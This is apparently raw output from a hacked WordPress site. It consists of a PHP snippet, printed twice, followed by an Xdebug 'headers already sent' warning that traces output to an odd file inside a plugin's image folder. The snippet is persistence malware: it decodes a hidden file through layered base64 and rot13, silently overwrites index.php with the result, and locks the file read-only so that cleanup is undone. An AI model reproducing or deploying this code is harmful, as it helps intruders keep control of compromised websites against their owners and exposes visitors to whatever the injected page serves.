$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "{index_hide}";

if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
    @chmod($i_p, 0644);
    @file_put_contents($i_p, $index_hide);
    @chmod($i_p, 0444);
}
}
$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "{index_hide}";

if (file_exists($path)) {
$index_hide = file_get_contents($path);
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if(md5($index) != md5($index_hide))
{
    @chmod($i_p, 0644);
    @file_put_contents($i_p, $index_hide);
    @chmod($i_p, 0444);
}
}
<br />
<font size='1'><table class='xdebug-error xe-warning' dir='ltr' border='1' cellspacing='0' cellpadding='1'>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Warning: Cannot modify header information - headers already sent by (output started at /home/users/1/3rdstone/web/mochime/wp-content/plugins/wp-lightbox-2/styles/images/he_IL/38457:15) in /home/users/1/3rdstone/web/mochime/wp-includes/pluggable.php on line <i>914</i></th></tr>
<tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr>
<tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr>
<tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0013</td><td bgcolor='#eeeeec' align='right'>432648</td><td bgcolor='#eeeeec'>{main}(  )</td><td title='/home/users/1/3rdstone/web/mochime/index.php' bgcolor='#eeeeec'>.../index.php<b>:</b>0</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.2920</td><td bgcolor='#eeeeec' align='right'>447176</td><td bgcolor='#eeeeec'>require( <font color='#00bb00'>'/home/users/1/3rdstone/web/mochime/wp-blog-header.php'</font> )</td><td title='/home/users/1/3rdstone/web/mochime/index.php' bgcolor='#eeeeec'>.../index.php<b>:</b>20</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>3</td><td bgcolor='#eeeeec' align='center'>1.0866</td><td bgcolor='#eeeeec' align='right'>23077936</td><td bgcolor='#eeeeec'>require_once( <font color='#00bb00'>'/home/users/1/3rdstone/web/mochime/wp-includes/template-loader.php'</font> )</td><td title='/home/users/1/3rdstone/web/mochime/wp-blog-header.php' bgcolor='#eeeeec'>.../wp-blog-header.php<b>:</b>16</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>4</td><td bgcolor='#eeeeec' align='center'>1.0866</td><td bgcolor='#eeeeec' align='right'>23077984</td><td bgcolor='#eeeeec'>do_action(  )</td><td title='/home/users/1/3rdstone/web/mochime/wp-includes/template-loader.php' bgcolor='#eeeeec'>.../template-loader.php<b>:</b>12</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>5</td><td bgcolor='#eeeeec' align='center'>1.0866</td><td bgcolor='#eeeeec' align='right'>23098736</td><td bgcolor='#eeeeec'><a href='http://www.php.net/function.call-user-func-array:{/home/users/1/3rdstone/web/mochime/wp-includes/plugin.php:429}' target='_new'>call_user_func_array:{/home/users/1/3rdstone/web/mochime/wp-includes/plugin.php:429}</a>
(  )</td><td title='/home/users/1/3rdstone/web/mochime/wp-includes/plugin.php' bgcolor='#eeeeec'>.../plugin.php<b>:</b>429</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>6</td><td bgcolor='#eeeeec' align='center'>1.0866</td><td bgcolor='#eeeeec' align='right'>23101616</td><td bgcolor='#eeeeec'>redirect_canonical(  )</td><td title='/home/users/1/3rdstone/web/mochime/wp-includes/plugin.php' bgcolor='#eeeeec'>.../plugin.php<b>:</b>429</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>7</td><td bgcolor='#eeeeec' align='center'>1.0876</td><td bgcolor='#eeeeec' align='right'>23111648</td><td bgcolor='#eeeeec'>wp_redirect(  )</td><td title='/home/users/1/3rdstone/web/mochime/wp-includes/canonical.php' bgcolor='#eeeeec'>.../canonical.php<b>:</b>454</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>8</td><td bgcolor='#eeeeec' align='center'>1.0876</td><td bgcolor='#eeeeec' align='right'>23112048</td><td bgcolor='#eeeeec'><a href='http://www.php.net/function.header' target='_new'>header</a>
(  )</td><td title='/home/users/1/3rdstone/web/mochime/wp-includes/pluggable.php' bgcolor='#eeeeec'>.../pluggable.php<b>:</b>914</td></tr>
</table></font>